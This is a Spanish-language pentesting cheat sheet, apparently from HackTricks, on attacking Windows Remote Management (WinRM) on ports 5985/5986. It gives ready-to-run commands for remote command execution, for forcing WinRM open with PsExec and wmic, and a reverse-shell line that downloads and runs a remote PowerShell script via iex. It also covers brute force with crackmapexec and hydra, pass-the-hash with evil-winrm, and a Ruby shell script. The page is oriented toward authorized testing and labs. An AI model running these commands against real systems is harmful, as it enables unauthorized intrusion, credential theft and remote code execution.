# 5985,5986 - Pentesting WinRM
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! **Perspectivas de Hacking**\ Involúcrate con contenido que profundiza en la emoción y desafíos del hacking **Noticias de Hacking en Tiempo Real**\ Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y actualizaciones cruciales de plataformas **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! ## WinRM [Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) es destacado como un **protocolo de Microsoft** que permite la **gestión remota de sistemas Windows** a través de HTTP(S), aprovechando SOAP en el proceso. Está fundamentalmente impulsado por WMI, presentándose como una interfaz basada en HTTP para operaciones de WMI. La presencia de WinRM en una máquina permite una administración remota sencilla a través de PowerShell, similar a cómo funciona SSH para otros sistemas operativos. Para determinar si WinRM está operativo, se recomienda verificar la apertura de puertos específicos: * **5985/tcp (HTTP)** * **5986/tcp (HTTPS)** Un puerto abierto de la lista anterior indica que WinRM ha sido configurado, permitiendo así intentos de iniciar una sesión remota. ### **Iniciando una Sesión WinRM** Para configurar PowerShell para WinRM, entra en juego el cmdlet `Enable-PSRemoting` de Microsoft, configurando la computadora para aceptar comandos remotos de PowerShell. Con acceso elevado en PowerShell, se pueden ejecutar los siguientes comandos para habilitar esta funcionalidad y designar cualquier host como confiable: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Este enfoque implica agregar un comodín a la configuración de `trustedhosts`, un paso que requiere una consideración cautelosa debido a sus implicaciones. También se señala que puede ser necesario cambiar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante. Además, WinRM se puede **activar de forma remota** utilizando el comando `wmic`, como se muestra a continuación: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` Este método permite la configuración remota de WinRM, mejorando la flexibilidad en la gestión de máquinas Windows desde la distancia. ### Probar si está configurado Para verificar la configuración de tu máquina de ataque, se utiliza el comando `Test-WSMan` para comprobar si el objetivo tiene WinRM configurado correctamente. Al ejecutar este comando, deberías esperar recibir detalles sobre la versión del protocolo y wsmid, lo que indica una configuración exitosa. A continuación se muestran ejemplos que demuestran la salida esperada para un objetivo configurado frente a uno no configurado: * Para un objetivo que **está** configurado correctamente, la salida se verá similar a esto: ```bash Test-WSMan ``` El siguiente contenido es de un libro sobre técnicas de hacking. La siguiente información es del archivo network-services-pentesting/5985-5986-pentesting-winrm.md. ```markdown La respuesta debe contener información sobre la versión del protocolo y wsmid, lo que significa que WinRM está configurado correctamente. ![](<../.gitbook/assets/image (582).png>) * Por el contrario, para un objetivo **no** configurado para WinRM, el resultado no mostraría información detallada, resaltando la ausencia de una configuración adecuada de WinRM. ![](<../.gitbook/assets/image (458).png>) ### Ejecutar un comando Para ejecutar `ipconfig` de forma remota en una máquina objetivo y ver su salida, haga lo siguiente: ``` ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../.gitbook/assets/image (151).png>) También puedes **ejecutar un comando de tu consola de PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en un ordenador remoto**, puedes hacer lo siguiente: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Ejecutar un Script ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Obtener shell inverso ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Obtener una sesión de PS Para obtener un shell interactivo de PowerShell, utiliza `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../.gitbook/assets/image (1009).png>) **La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro del "equipo víctima"** ### **Forzando la Apertura de WinRM** Para usar PS Remoting y WinRM pero la computadora no está configurada, podrías habilitarlo con: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Guardar y Restaurar sesiones Esto **no funcionará** si el **idioma** está **restringido** en la computadora remota. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` Dentro de estas sesiones puedes cargar scripts de PS usando _Invoke-Command_ ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errores Si encuentras el siguiente error: `enter-pssession : La conexión al servidor remoto 10.10.10.175 falló con el siguiente mensaje de error: El cliente WinRM no puede procesar la solicitud. Si el esquema de autenticación es diferente de Kerberos, o si la computadora cliente no está unida a un dominio, entonces se debe usar el transporte HTTPS o la máquina de destino debe ser agregada a la configuración de TrustedHosts. Utiliza winrm.cmd para configurar TrustedHosts. Ten en cuenta que las computadoras en la lista de TrustedHosts podrían no estar autenticadas. Puedes obtener más información al respecto ejecutando el siguiente comando: winrm help config. Para más información, consulta el tema de Ayuda sobre Solución de problemas remotos.` Intenta en el cliente (información de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ```
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. **Perspectivas de Hacking**\ Participa en contenido que profundiza en la emoción y los desafíos del hacking. **Noticias de Hacking en Tiempo Real**\ Mantente al día con el mundo del hacking a través de noticias e información en tiempo real. **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma. **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy! ## Conexión WinRM en Linux ### Fuerza Bruta Ten cuidado, hacer fuerza bruta en WinRM podría bloquear a los usuarios. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### Usando evil-winrm ```ruby gem install evil-winrm ``` Lee la **documentación** en su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` Para usar evil-winrm para conectarse a una **dirección IPv6** crea una entrada dentro de _**/etc/hosts**_ estableciendo un **nombre de dominio** para la dirección IPv6 y conéctate a ese dominio. ### Pasar el hash con evil-winrm ```ruby evil-winrm -u -H -i ``` ![](<../.gitbook/assets/image (680).png>) ### Usando una máquina PS-docker ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Usando un script de ruby **Código extraído de aquí:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan * `port:5985 Microsoft-HTTPAPI` ## Referencias * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## Comandos Automáticos de HackTricks ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.xyz/pentesting/pentesting-winrm Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` ​
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! **Perspectivas de Hacking**\ Participa en contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).